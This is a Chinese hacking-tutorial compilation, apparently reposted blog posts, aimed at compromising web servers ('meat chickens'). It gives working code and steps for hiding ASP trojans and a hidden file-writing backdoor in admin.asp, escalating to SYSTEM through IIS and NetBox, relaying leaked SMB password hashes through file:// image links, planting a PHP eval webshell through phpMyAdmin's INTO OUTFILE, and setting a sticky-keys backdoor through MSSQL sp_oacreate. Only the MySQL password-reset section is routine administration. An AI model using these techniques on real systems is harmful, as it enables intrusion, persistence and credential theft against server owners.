强者创造未来 弱者等待未来

                                        不断努力创新中 不辛苦难以成大事 明天比今天更残酷

                                                      heibaby QQ 283422135

                                                         

脚本入侵中往往会上传一个asp木马来进一步扩大权限，或者在肉鸡中留一个asp后门也是一个不错的选择。但是如何让asp木马更加隐匿和强大，从而躲过网管查杀逃过杀毒软件追杀，并且具备system权限呢？改变代码变量也许是一个解决问题的办法，但是我们不如换个角度思考，何不尝试改变asp木马的运行方式？

　　首先，我们可以换个任意后缀来运行asp木马。换任意后缀来运行asp文件方法有两种，一种是include指令的使用。include指令可以让我们直接调用位于其它文件的函数，而不管后缀名是什么。像我写了一个简单的asp木马，功能是遍历c:盘，源码如下：

　　<%Set oScript = Server.CreateObject("WSCRIPT.SHELL") oScript.Run ("cmd.exe /c dir c:\ > c:\lcx.txt ") %>

　　我们可以将这段源码保存成1.jpg，然后将这句指令<!--#include file="1.jpg"-->放在2.asp文件的文件头或文件尾，那么我们执行2.asp时，放在2.asp同目录下的1.jpg同样也会被调用，起到遍历c:的功能即在c:下生成lcx.txt这一文件。第二种方法是iis管理器中用asp.dll来解析任意后缀。在iis默认安装情况下，我们可以查觉asa、cer、cdx后缀也可以成功运行asp代码，因为这三种后缀的文件映射都是调用了系统的asp.dll。根据这一启示，我们可以做一个.lcx的后缀映射，用nt\system32下的asp.dll来解析，这样做完后写有asp源码的lcx后缀文件也会成功运行asp程序。其方法是依次打开电脑的控制面板－管理工具－Internet 服务管理器－web站点－右键属性－主目录－配置－添加。图1。

　　其次，我们可以让asp木马来触发才运行。无论你的asp木马写得多么好，基本总会调用到WSCRIPT.SHELL和Scripting.FileSystemObject这两个对象。有经验的网管可以运行查找功能，让你的木马无处可逃。（这里我也顺便给大家提供一个启明星工作室编写的查找asp木马的工具，见附件）我们能不能做到调用这两个对象的asp木马不放在肉鸡上，需要时能够随时上传运行呢？runasp.asp是一个用asp实现asp文件的运行的脚本，虽然还有很多bug，但是对我们调用执行asp木马是足够用了。更为可怕的是我在runasp.asp里调用测试一些恶意代码时，居然躲过了瑞星的查杀。图2。（由于runasp.asp代码太多，文章里不方便列出，我已将其放在附件里了，大家可以自己研究一下）我们将runasp.asp放在肉鸡上是不是一个很好的asp触发器后门呢？另外，对付粗心的网管我们还可以将这样一段代码放在asp文件里：

　　<%
　　on error resume next
　　id=request("id")
　　if request("id")=1 then
　　testfile=Request.form("name")
　　msg=Request.form("message")
　　set fs=server.CreateObject("scripting.filesystemobject")
　　set thisfile=fs.OpenTextFile(testfile,8,True,0)
　　thisfile.WriteLine(""&msg& "")
　　thisfile.close
　　set fs = nothing
　　%>
　　<form method="POST" ACTION="你要插入的asp文件名?id=1">
　　<input type="text" size="20" name="Name"
　　value=<%=server.mappath("xp.asp")%>>
　　<textarea name="Message" type="submit" name="Send" value="生成" end if%>

　　像我放在动网文章的admin.asp的文件尾端，当网管运行http://动网文章url/admin.asp时并没有引起丝毫变化，而当我们运行

http://动网文章url/admin.asp?id=1时，就可以根据我们的需要生成任意asp木马文件了。

　　最后，我们要让asp木马具备系统权限。我们的木马现在隐匿得很深，躲过了细心网管和杀毒软件，不具备系统权限我们心有不甘。让asp木马具备系统权限的方法有三种，第一种是在iis管理器中的主目录选项里将应用程序保护选择为:低(iis进程)图3。第二种是将"IWAM_machine"这一用户加入administrators组即可。这两种方法我想大家也许都耳熟能详了，但第3种也许就不为人所知了。netbox是一款由北京综艺达软件技术有限公司自主研制的编译及开发工具，除了Apache和微软的IIS以外，目前是世界上第三个可以运行asp的应用服务器，在Windows98/NT/2000/Me/XP下都可以直接运行，而且是一个大小仅为440kb的绿色文件。我已将netbox配置好了（请见附件的netbox文件夹)，大家使用的时候，只需将netbox文件夹放在某个盘符下，再在cmd下运行"x:\netbox\netbox.exe -install"即可安装成功netbox，以后就可以运行http://ip:88/x.asp了。需要指出的是我在netbox的配置文件里main.box里写了这样两行代码：

　　If httpd.Create("", 88) = 0 Then

　　Set host = httpd.AddHost("", "\wwwroot")

　　意思是web的端口为88，asp文件放在netbox目录下的wwwroot文件夹。这个端口和文件夹，你都可以根据自己的需要用记事本打开main.box来修改你所想要的。我们使用这一软件最大的一个好处是我们的asp木马在netbox环境下具备了系统权限，也许用它在肉鸡上做主页留后门也是一个不错的选择哟。

　　另外，因为我整篇文章写得是如何突破常规限制来运行asp木马，所以还有一点我要提及。在黑客防线2003年7期xhacker有篇文章《巧妙设置cmd权限加强主机安全配置》提到过防止网上流行的cmd.asp木马（见附件）方法是可以用

　　cacls %systemroot/system32/cmd.exe /E /D IUSR_machine

　　cacls %systemroot/system32/dllcache/cmd.exe /E /D IUSR_machine

　　这样两条命令来限止cmd.exe的权限，于是cmd.asp木马就失去作用了。针对这种限制我们也有办法突破，我们可以将本机的cmd.exe改名传到肉鸡上，假设我们将cmd.exe改名为lcx.exe，传在肉鸡的d:\lcx目录下，于是我们打开cmd.asp, 找到

　　Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)这一行源码，改为

　　Call oScript.Run ("d:\lcx\lcx.exe /c " & szCMD & " > " & szTempFile, 0, True)即可，我们又可以成功运行cmd.asp了。

　　总之，如何能更好地运行asp木马，发挥出它的强大功能，还是需要我们多动脑多动手，只有这样我们才会有新的发现。

http://www.2ku6.com/bbs/thread.php?fid-11.html

Windows访问139端口时自动用当前用户、密码连接，造成泄露用户密码，虽然其密码是加密的，但一样可以用来攻击。

　　下面是SMB的密码认证方式。

　　WINDOWS的139口的访问过程，箭头表示数据方向：

　　1.客户端<--------------------建立TCP连接----------------->服务端

　　2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

　　3.客户端<---------服务器认证方式、加密用的key等-----------服务端

　　认证方式就是用户级认证还是共享级认证和密码加密不，key是服务器随机生成的8个字节，WIN2000已经支持16个字节的 key。

　　4.客户端--------------用户名、加密后密码----------------->服务端

　　WIN9X、WINNT、WIN2000这有个漏洞，不经过提示等就把当前用户名，密码加密后发过去了，导致密码泄漏。这儿加密是DES的变形，lockedpass=chgdes(key,pass)。这儿的pass是作为DES变形的KEY，key是作为DES变形的待加密数据。

　　5.客户端<---------------认证成功否-----------------------服务端

　　WINDOWS客户端第4步有漏洞，显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定，因为这是服务方提供的，usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆，但已经可以用暴力法破解了，也已经有了这样的程序。其实我们有时并不一定要得到密码明文的，只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用，我们反过去访问看看，telnet、ftp等连接要密码明文我们得到的lockedpass不能提供，那么我们考虑用同样加密算法传密码密文的服务呢?比如就是NETBIOS共享服务。前面是服务端得到东西，那现在就是站在客户端了，再看前面那过程，显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定，大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.

　　好我们再仔细看看连接过程，别人连接两步1、2：

　　1.客户端<--------------------建立TCP连接----------------->服务端

　　2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

　　下面就该

　　3.客户端<---------服务器认证方式、加密用的key等-----------服务端

　　这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接NETBIOS服务回去。显然这而需要连接回去的11，22，33共3步(为了区分连接回去的步子用重号表示)才能得到key2，显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定IP的NETBIOS服务然后等这用户来访问，这可能有时间超时等处理，或者等到任意IP连接NETBIOS服务后马上连回去，反正怎么处理方便、满足需要就怎么处理。

　　下面显然就是设置 key=key2返回3，那就等4得到lockedpass了，第5步嘛就你自由处理了，要不返回密码错误，后面就是44、55……

　　总的来就是1，2，11，22，33，3，4，5，44，55……显然你就是以那机器访问你的用户的身份去访问他的NETBIOS服务了，能干什么那就看那用户的权限了。

　　注意有兴趣的可以把SAMB包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是WINDOWS泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器，这好办，邮件或者主页等里面来个

　　IMGsrc”="file://ip/filename" ...

　　就可以了。我实验了去掉机器139口服务(要不有139口要影响后面端口重定向)，用端口重定向程序把来向139口定向回去，找另一个WINNT机器用

　　file://ip/访问那重定向139口的机器，结果是没有密码提示就看到WINNT机器本身了。其实这时重定向端口程序那台机器已经用WINNT机器的当前用户访问WINNT了，只是由于没有客户端的处理界面不能操作。

更多精彩教程资料  

http://hi.baidu.com/xu518/blog/item/f43555b5910411cd37d3ca64.html

HEI BABY 283422135

当网站不允许上传asp cer cdx htr等文件时, 上传一个stm文件, 内容为:
<!--＃i nclude file="conn.asp"-->
直接请求这个stm文件, conn.asp就一览无遗, 数据库路径也就到手啦!

但是一个前提是服务器的对stm或者shtml的扩展没有删除！

更多精彩教程资料  

http://hi.baidu.com/xu518/blog/item/f43555b5910411cd37d3ca64.html

HEI BABY 283422135

在任意帐户配置文件中添加SiteCommandList0=-1,TQ1,c:\a.bat,0,60,0,0,jid

TQ1=命令名

c:\a.bat=实际路径

如果没有修改权限,也可以从本地走~~~

以下为本地管理员配置

[Server]
IP=127.0.0.1,8021\r\n
GrantAllAccessToLocalHost=0
[Acct=chensong]
Enabled=1
Rights=0
Password=58F6E4407FFE8F618CDE3C16FA3360DD

更多精彩教程资料  

http://hi.baidu.com/xu518/blog/item/f43555b5910411cd37d3ca64.html

HEI BABY 283422135

1.如何拿到登陆密码. 自己想办法
2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径.
3.选择一个Database.运行以下语句.
----start code---
Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES('<?php eval($_POST[1]);?>');
select cmd from a into outfile 'D:/phpMyAdmin/libraries/d.php';
Drop TABLE IF EXISTS a;
----end code---
4.如果没什么意外.对应网站得到webshell

更多精彩教程资料  

http://hi.baidu.com/xu518/blog/item/f43555b5910411cd37d3ca64.html

HEI BABY 283422135

有些网站的源代码是经过加密的，如何快捷的破解这些加密的代码呢？告诉你一个简单而有效的方法。
在地址栏或按Ctrl+O，输入：

javascript:s=document.documentElement.outerHTML;document.write('<body></body>');document.body.innerText=s;

源代码就出来了。不论加密如何复杂，最终都要还原成浏览器可以解析的html代码，而documentElement.outerHTML正是最终的结果。

更多精彩教程资料  

http://hi.baidu.com/xu518/blog/item/f43555b5910411cd37d3ca64.html

HEI BABY 283422135

网上流传的几种破解mysql root密码的几种方法:

方法一
使用phpmyadmin，这是最简单的了，修改mysql库的user表，不过别忘了使用PASSWORD函数。

方法二
使用mysqladmin，这是前面声明的一个特例。
mysqladmin -u root -p password mypasswd
输入这个命令后，需要输入root的原密码，然后root的密码将改为mypasswd。
把命令里的root改为你的用户名，你就可以改你自己的密码了。
当然如果你的mysqladmin连接不上mysql server，或者你没有办法执行mysqladmin，那么这种方法就是无效的，而且mysqladmin无法把密码清空。

下面的方法都在mysql提示符下使用，且必须有mysql的root权限：
方法三
mysql> Insert INTO mysql.user (Host,User,Password)
VALUES('%','jeffrey',PASSWORD('biscuit'));
mysql> FLUSH PRIVILEGES
确切地说这是在增加一个用户，用户名为jeffrey，密码为biscuit。
在《mysql中文参考手册》里有这个例子，所以我也就写出来了。
注意要使用PASSWORD函数，然后还要使用FLUSH PRIVILEGES。

方法四
和方法三一样，只是使用了REPLACE语句
mysql> REPLACE INTO mysql.user (Host,User,Password)
VALUES('%','jeffrey',PASSWORD('biscuit'));
mysql> FLUSH PRIVILEGES

方法五
使用SET PASSWORD语句，
mysql> SET PASSWORD FOR jeffrey@"%" = PASSWORD('biscuit');
拟也必须使用PASSWORD()函数，但是不需要使用FLUSH PRIVILEGES。

方法六
使用GRANT ... IDENTIFIED BY语句
mysql> GRANT USAGE ON *.* TO jeffrey@"%" IDENTIFIED BY 'biscuit';
这里PASSWORD()函数是不必要的，也不需要使用FLUSH PRIVILEGES。

注意： PASSWORD() [不是]以在Unix口令加密的同样方法施行口令加密。
MySQL 忘记口令的解决办法
如果 MySQL 正在运行，首先杀之： killall -TERM mysqld。
启动 MySQL ：bin/safe_mysqld --skip-grant-tables &
就可以不需要密码就进入 MySQL 了。
然后就是
>use mysql
>update user set password=password("new_pass") where user="root";
>flush privileges;
重新杀 MySQL ，用正常方法启动 MySQL 。

mysql密码清空
Windows:
1.用系统管理员登陆系统。
2.停止MySQL的服务。
3.进入命令窗口，然后进入MySQL的安装目录，比如我的安装目录是c:\mysql,进入C:\mysql\bin
4.跳过权限检查启动MySQL，
c:\mysql\bin>mysqld-nt --skip-grant-tables
5.重新打开一个窗口，进入c:\mysql\bin目录，设置root的新密码
c:\mysql\bin>mysqladmin -u root flush-privileges password "newpassword"
c:\mysql\bin>mysqladmin -u root -p shutdown
将newpassword替换为你要用的root的密码，第二个命令会提示你输入新密码，重复第一个命令输入的密码。
6.停止MySQL Server，用正常模式启动Mysql
7．你可以用新的密码链接到Mysql了。

Unix&Linux：
1.用root或者运行mysqld的用户登录系统；
2．利用kill命令结束掉mysqld的进程；
3．使用--skip-grant-tables参数启动MySQL Server
shell>mysqld_safe --skip-grant-tables &
4.为root@localhost设置新密码
shell>mysqladmin -u root flush-privileges password "newpassword"
5．重启MySQL Server

mysql修改密码
　　mysql修改，可在mysql命令行执行如下：
　　mysql -u root mysql
　　mysql> Update user SET password=PASSWORD("new password") Where user='name';
　　mysql> FLUSH PRIVILEGES;
　　mysql> QUIT

教你如何将MySQL数据库的密码恢复

因为MySQL密码存储于数据库mysql中的user表中，所以只需要将我windows 2003下的MySQL中的user表拷贝过来覆盖掉就行了。

在c:\mysql\data\mysql\(linux 则一般在/var/lib/mysql/mysql/)目录下有三个user表相关文件user.frm、user.MYD、user.MYI

user.frm //user表样式文件

user.MYD //user表数据文件

user.MYI //user表索引文件

为保险起见，三个都拷贝过来，不过其实如果之前在要恢复的那个MySQL上没有更改过表结构的话，只要拷贝user.MYD就行了

然后

#. /etc/rc.d/init.d/mysql stop
#. /etc/rc.d/init.d/mysql start
#mysql -u root -p XXXXXX

好了，可以用windows 2003下mysql密码登陆了

mysql>use mysql
mysql>update user set Password=PASSWORD('xxxxxx') where User='root';

这时候会出错，提示user表只有读权限

我分析了一下原因，只这样的，因为user.*文件的权限分配是windows 2003下的，在windows 2003下我ls -l一看权限是666

在linux下我一看，拷过来后权限变成了600(其实正常情况下600就行了，只不过这里的文件属主不是mysql，拷过来后的属主变为了root,所以会出现权限不够，这时候如果你改成权限666则可以了，当然这样不好，没有解决问题的实质)，在/var/lib/mysql/mysql/下ls -l看了一下

再

#chown -R mysql:mysql user.*
#chmod 600 user.*

//OK,DONE

重起一下MYSQL

重新连接

mysql>use mysql
mysql>update user set Password=PASSWORD('xxxxxx') where User='root';
mysql>FLUSH PRIVILEGES;

有一点值得注意:如果你windows 下mysql如果是默认配置的话，注意要还要执行

mysql>delete from user where User='';
mysql>delete from user where Host='%';
mysql>FLUSH PRIVILEGES;

好了，到这里恢复密码过程就完成了

这个方法么就是有点局限性，你必须也具备另外的user表文件

其他还有几种方法

其它方法一(这个是网上流传较广的方法,mysql中文参考手册上的)

1. 向mysqld server 发送kill命令关掉mysqld server(不是 kill -9),存放进程ID的文件通常在MYSQL的数据库所在的目录中。

killall -TERM mysqld

你必须是UNIX的root用户或者是你所运行的SERVER上的同等用户，才能执行这个操作。

2. 使用`--skip-grant-tables' 参数来启动 mysqld。 LINUX下：

/usr/bin/safe_mysqld --skip-grant-tables , windows下c:\mysql\bin\mysqld --skip-grant-tables

3. 然后无密码登录到mysqld server ，

>use mysql
>update user set password=password("new_pass") where user="root";
>flush privileges;

。你也可以这样做：

`
mysqladmin -h hostname -u user password 'new password''

4. 载入权限表：

`
mysqladmin -h hostname flush-privileges'

或者使用 SQL 命令

`FLUSH PRIVILEGES'

5.

killall -TERM mysqld

6.用新密码登陆

其它方法二

直接用十六进制编辑器编辑user.MYD文件

不过这个里面我要说明一点，我这里编辑的时候发现个问题，加密的密码串有些是连续存储的，有些的最后两位被切开了，后两位存储在后面其他地方.这一点我还没想明白.还有注意一点就是编辑的是加密过的密码串，也就是说你还是需要另外有user表文件。这种方法和我最上面介绍的方法的区别在于，这种方法直接编辑linux下的user表文件，就不需要重新改文件属主和权限了

修正一下：我在Windows下的实际操作如下

1.关闭正在运行的MySQL。

2.打开DOS窗口，转到mysql\bin目录。

3.输入

mysqld-nt --skip-grant-tables

回车。如果没有出现提示信息，那就对了。

4.再开一个DOS窗口（因为刚才那个DOS窗口已经不能动了），转到mysql\bin目录。

5.输入mysql回车，如果成功，将出现MySQL提示符 >

6. 连接权限数据库

>use mysql;
(>是本来就有的提示符,别忘了最后的分号)

6.改密码：

> update user set password=password("123456") where user="root"; (别忘了最后的分号)

7.刷新权限（必须的步骤）

>flush privileges;

8.退出

> \q

9.注销系统，再进入，开MySQL，使用用户名root和刚才设置的新密码123456登陆。

据说可以用直接修改user表文件的方法：

关闭MySQL，Windows下打开Mysql\data\mysql，有三个文件user.frm,user.MYD,user.MYI找个知道密码的MySQL，替换相应的这三个文件，如果user表结构没改过，一般也没人去改，替换user.MYD就可以了。

也可以直接编辑user.MYD，找个十六进制编辑器，UltraEdit就有这个功能。关闭MySQL，打开user.MYD。将用户名root后面的八个字符改为565491d704013245，新密码就是123456。或者将它们对应的十六进制数字，（左边那里，一个字符对应两个数字），改为 00 02 02 02 02 02 02 02,这就是空密码，在编辑器右边看到的都是星号*，看起来很象小数点。重开MySQL，输入root和你的新密码。

更多精彩教程资料  

http://hi.baidu.com/xu518/blog/item/f43555b5910411cd37d3ca64.html

HEI BABY 283422135

sa 无xp_cmdshell下取权限又一简单方法
导读：
　　在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法
　　（很多服务器都把'wscript.shell'给删了。）
　　上网找了些资料，得到下面方法：
　　复制文件：
　　declare @o int
　　exec sp_oacreate 'scripting.filesystemobject', @o out
　　exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
　　declare @oo int
　　exec sp_oacreate 'scripting.filesystemobject', @oo out
　　此法随无技术可言，希望对某些人有点用。

更多精彩教程资料  

http://hi.baidu.com/xu518/blog/item/f43555b5910411cd37d3ca64.html

HEI BABY 283422135

一般网站后台管理员密码都是经过MD5加密的，差不多都是16位和32位的，
如果第一次碰到40位的加密，还真反映不过来，其实都是一样的。
7a57a5a743894a0e4a801fc343894a0e4a801fc3原文是admin
这个实际上还是MD5加密，不过稍微做了些变动：
前16位，7a57a5a743894a0e，是admin的16位MD5密文；后面的24位，注意看，是两个4a801fc3之间夹杂一个43894a0e，而4a801fc3是32位MD5密文的后8位，43894a0e则是16位MD5密文的后8位。
所以，这个密文可以这样看：先用16位MD5加密admin，再在后面添上32位MD5密文的后8位，最后把后16位密文（43894a0e4a801fc3）来个重复，就诞生了40位MD5加密密文了。
知道原理了，以后看见这种后面32位密文实际上是一段16位密文的重复的加密密文，直接把前16位拿出去破解就可以了，后面的统统没用。
这样加密的好处不言而喻：通常人们都认为MD5只有16位和32位两种加密方式，被这样一搞，尽管看上去极像MD5，但因为位数不同所以没法用在线和工具破解，也就认为这是另一种加密方式了，混淆视听的目的就达到了。
附admin的16位、32位密文：
7a57a5a743894a0e
21232f297a57a5a743894a0e4a801fc3

更多精彩教程资料  

http://hi.baidu.com/xu518/blog/item/f43555b5910411cd37d3ca64.html

HEI BABY 283422135